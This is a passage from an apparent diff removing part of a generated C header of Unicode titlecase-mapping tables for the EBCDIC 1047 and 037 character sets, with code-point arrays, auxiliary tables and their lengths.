0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - TC_0 = 0, - TC_use_AUX_TABLE_1 = -1, - TC_use_AUX_TABLE_2 = -2, - TC_use_AUX_TABLE_3 = -3, - TC_use_AUX_TABLE_4 = -4, - TC_use_AUX_TABLE_5 = -5, - TC_use_AUX_TABLE_6 = -6, - TC_use_AUX_TABLE_7 = -7, - TC_use_AUX_TABLE_8 = -8, - TC_use_AUX_TABLE_9 = -9, - TC_use_AUX_TABLE_10 = -10, - TC_use_AUX_TABLE_11 = -11, - TC_use_AUX_TABLE_12 = -12, - TC_use_AUX_TABLE_13 = -13, - TC_use_AUX_TABLE_14 = -14, - TC_use_AUX_TABLE_15 = -15, - TC_use_AUX_TABLE_16 = -16, - TC_use_AUX_TABLE_17 = -17, - TC_use_AUX_TABLE_18 = -18, - TC_use_AUX_TABLE_19 = -19, - TC_use_AUX_TABLE_20 = -20, - TC_use_AUX_TABLE_21 = -21, - TC_use_AUX_TABLE_22 = -22, - TC_use_AUX_TABLE_23 = -23, - TC_use_AUX_TABLE_24 = -24, - TC_use_AUX_TABLE_25 = -25, - TC_use_AUX_TABLE_26 = -26, - TC_use_AUX_TABLE_27 = -27, - TC_use_AUX_TABLE_28 = -28, - TC_use_AUX_TABLE_29 = -29, - TC_use_AUX_TABLE_30 = -30, - TC_use_AUX_TABLE_31 = -31, - TC_use_AUX_TABLE_32 = -32, - TC_use_AUX_TABLE_33 = -33, - TC_use_AUX_TABLE_34 = -34, - TC_use_AUX_TABLE_35 = -35, - TC_use_AUX_TABLE_36 = -36, - TC_use_AUX_TABLE_37 = -37, - TC_use_AUX_TABLE_38 = -38, - TC_use_AUX_TABLE_39 = -39, - TC_use_AUX_TABLE_40 = -40, - TC_use_AUX_TABLE_41 = -41, - TC_use_AUX_TABLE_42 = -42, - TC_use_AUX_TABLE_43 = -43, - TC_use_AUX_TABLE_44 = -44, - TC_use_AUX_TABLE_45 = -45 -} TC_enum; - -#define HAS_TC_AUX_TABLES - -static const unsigned int TC_AUX_TABLE_1[] = { - 0xE2, - 0xA2 -}; - -static const unsigned int TC_AUX_TABLE_2[] = { - 0x2BC, - 0xD5 -}; - -static const unsigned int TC_AUX_TABLE_3[] = { - 0xD1, - 0x30C -}; - -static const unsigned int TC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_6[] = { - 0x535, - 0x582 -}; - -static const unsigned int TC_AUX_TABLE_7[] = { - 0xC8, - 0x331 -}; - -static const unsigned int TC_AUX_TABLE_8[] = { - 0xE3, - 0x308 -}; - -static const unsigned int TC_AUX_TABLE_9[] = { - 0xE6, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_10[] = { - 0xE8, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_11[] = { - 0xC1, - 0x2BE -}; - -static const unsigned int TC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_16[] = { - 0x1FBA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_17[] = { - 0x386, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_18[] = { - 0x391, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_19[] = { - 0x391, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_20[] = { - 0x1FCA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_21[] = { - 0x389, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_22[] = { - 0x397, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_23[] = { - 0x397, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_24[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_25[] = { - 0x399, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_26[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_27[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_28[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_29[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_30[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_31[] = { - 0x1FFA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_32[] = { - 0x38F, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_33[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_34[] = { - 0x3A9, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_35[] = { - 0xC6, - 0x86 -}; - -static const unsigned int TC_AUX_TABLE_36[] = { - 0xC6, - 0x89 -}; - -static const unsigned int TC_AUX_TABLE_37[] = { - 0xC6, - 0x93 -}; - -static const unsigned int TC_AUX_TABLE_38[] = { - 0xC6, - 0x86, - 0x89 -}; - -static const unsigned int TC_AUX_TABLE_39[] = { - 0xC6, - 0x86, - 0x93 -}; - -static const unsigned int TC_AUX_TABLE_40[] = { - 0xE2, - 0xA3 -}; - -static const unsigned int TC_AUX_TABLE_41[] = { - 0x544, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_42[] = { - 0x544, - 0x565 -}; - -static const unsigned int TC_AUX_TABLE_43[] = { - 0x544, - 0x56B -}; - -static const unsigned int TC_AUX_TABLE_44[] = { - 0x54E, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_45[] = { - 0x544, - 0x56D -}; - -static const unsigned int * const TC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - TC_AUX_TABLE_1, - TC_AUX_TABLE_2, - TC_AUX_TABLE_3, - TC_AUX_TABLE_4, - TC_AUX_TABLE_5, - TC_AUX_TABLE_6, - TC_AUX_TABLE_7, - TC_AUX_TABLE_8, - TC_AUX_TABLE_9, - TC_AUX_TABLE_10, - TC_AUX_TABLE_11, - TC_AUX_TABLE_12, - TC_AUX_TABLE_13, - TC_AUX_TABLE_14, - TC_AUX_TABLE_15, - TC_AUX_TABLE_16, - TC_AUX_TABLE_17, - TC_AUX_TABLE_18, - TC_AUX_TABLE_19, - TC_AUX_TABLE_20, - TC_AUX_TABLE_21, - TC_AUX_TABLE_22, - TC_AUX_TABLE_23, - TC_AUX_TABLE_24, - TC_AUX_TABLE_25, - TC_AUX_TABLE_26, - TC_AUX_TABLE_27, - TC_AUX_TABLE_28, - TC_AUX_TABLE_29, - TC_AUX_TABLE_30, - TC_AUX_TABLE_31, - TC_AUX_TABLE_32, - TC_AUX_TABLE_33, - TC_AUX_TABLE_34, - TC_AUX_TABLE_35, - TC_AUX_TABLE_36, - TC_AUX_TABLE_37, - TC_AUX_TABLE_38, - TC_AUX_TABLE_39, - TC_AUX_TABLE_40, - TC_AUX_TABLE_41, - TC_AUX_TABLE_42, - TC_AUX_TABLE_43, - TC_AUX_TABLE_44, - TC_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 TC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* TC_AUX_TABLE_1 */, - 2 /* TC_AUX_TABLE_2 */, - 2 /* TC_AUX_TABLE_3 */, - 3 /* TC_AUX_TABLE_4 */, - 3 /* TC_AUX_TABLE_5 */, - 2 /* TC_AUX_TABLE_6 */, - 2 /* TC_AUX_TABLE_7 */, - 2 /* TC_AUX_TABLE_8 */, - 2 /* TC_AUX_TABLE_9 */, - 2 /* TC_AUX_TABLE_10 */, - 2 /* TC_AUX_TABLE_11 */, - 2 /* TC_AUX_TABLE_12 */, - 3 /* TC_AUX_TABLE_13 */, - 3 /* TC_AUX_TABLE_14 */, - 3 /* TC_AUX_TABLE_15 */, - 2 /* TC_AUX_TABLE_16 */, - 2 /* TC_AUX_TABLE_17 */, - 2 /* TC_AUX_TABLE_18 */, - 3 /* TC_AUX_TABLE_19 */, - 2 /* TC_AUX_TABLE_20 */, - 2 /* TC_AUX_TABLE_21 */, - 2 /* TC_AUX_TABLE_22 */, - 3 /* TC_AUX_TABLE_23 */, - 3 /* TC_AUX_TABLE_24 */, - 2 /* TC_AUX_TABLE_25 */, - 3 /* TC_AUX_TABLE_26 */, - 3 /* TC_AUX_TABLE_27 */, - 2 /* TC_AUX_TABLE_28 */, - 2 /* TC_AUX_TABLE_29 */, - 3 /* TC_AUX_TABLE_30 */, - 2 /* TC_AUX_TABLE_31 */, - 2 /* TC_AUX_TABLE_32 */, - 2 /* TC_AUX_TABLE_33 */, - 3 /* TC_AUX_TABLE_34 */, - 2 /* TC_AUX_TABLE_35 */, - 2 /* TC_AUX_TABLE_36 */, - 2 /* TC_AUX_TABLE_37 */, - 3 /* TC_AUX_TABLE_38 */, - 3 /* TC_AUX_TABLE_39 */, - 2 /* TC_AUX_TABLE_40 */, - 2 /* TC_AUX_TABLE_41 */, - 2 /* TC_AUX_TABLE_42 */, - 2 /* TC_AUX_TABLE_43 */, - 2 /* TC_AUX_TABLE_44 */, - 2 /* TC_AUX_TABLE_45 */ -}; - -static const int Titlecase_Mapping_invmap[] = { /* for EBCDIC 1047 */ - 0, - 0x62, - 0, - 0x71, - TC_use_AUX_TABLE_1, - 0, - 0x80, - 0, - 0xC1, - 0, - 0xAC, - 0xBA, - 0xAE, - 0, - 0xD1, - 0, - 0x9E, - 0, - 0x39C, - 0, - 0xE2, - 0, - 0xEB, - 0, - 0xFB, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0xC9, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - TC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0xE2, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C5, - 0, - 0x1C5, - 0x1C8, - 0, - 0x1C8, - 0x1CB, - 0, - 0x1CB, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - TC_use_AUX_TABLE_3, - 0x1F2, - 0, - 0x1F2, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - TC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - TC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - TC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - TC_use_AUX_TABLE_7, - TC_use_AUX_TABLE_8, - TC_use_AUX_TABLE_9, - TC_use_AUX_TABLE_10, - TC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - TC_use_AUX_TABLE_12, - 0x1F59, - TC_use_AUX_TABLE_13, - 0x1F5B, - TC_use_AUX_TABLE_14, - 0x1F5D, - TC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0, - 0x1F98, - 0, - 0x1FA8, - 0, - 0x1FB8, - TC_use_AUX_TABLE_16, - 0x1FBC, - TC_use_AUX_TABLE_17, - 0, - TC_use_AUX_TABLE_18, - TC_use_AUX_TABLE_19, - 0, - 0x399, - 0, - TC_use_AUX_TABLE_20, - 0x1FCC, - TC_use_AUX_TABLE_21, - 0, - TC_use_AUX_TABLE_22, - TC_use_AUX_TABLE_23, - 0, - 0x1FD8, - TC_use_AUX_TABLE_24, - TC_use_AUX_TABLE_4, - 0, - TC_use_AUX_TABLE_25, - TC_use_AUX_TABLE_26, - 0, - 0x1FE8, - TC_use_AUX_TABLE_27, - TC_use_AUX_TABLE_5, - TC_use_AUX_TABLE_28, - 0x1FEC, - TC_use_AUX_TABLE_29, - TC_use_AUX_TABLE_30, - 0, - TC_use_AUX_TABLE_31, - 0x1FFC, - TC_use_AUX_TABLE_32, - 0, - TC_use_AUX_TABLE_33, - TC_use_AUX_TABLE_34, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - TC_use_AUX_TABLE_35, - TC_use_AUX_TABLE_36, - TC_use_AUX_TABLE_37, - TC_use_AUX_TABLE_38, - TC_use_AUX_TABLE_39, - TC_use_AUX_TABLE_40, - 0, - TC_use_AUX_TABLE_41, - TC_use_AUX_TABLE_42, - TC_use_AUX_TABLE_43, - TC_use_AUX_TABLE_44, - TC_use_AUX_TABLE_45, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Titlecase_Mapping_invlist[] = { /* for EBCDIC 037 */ - 1332, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 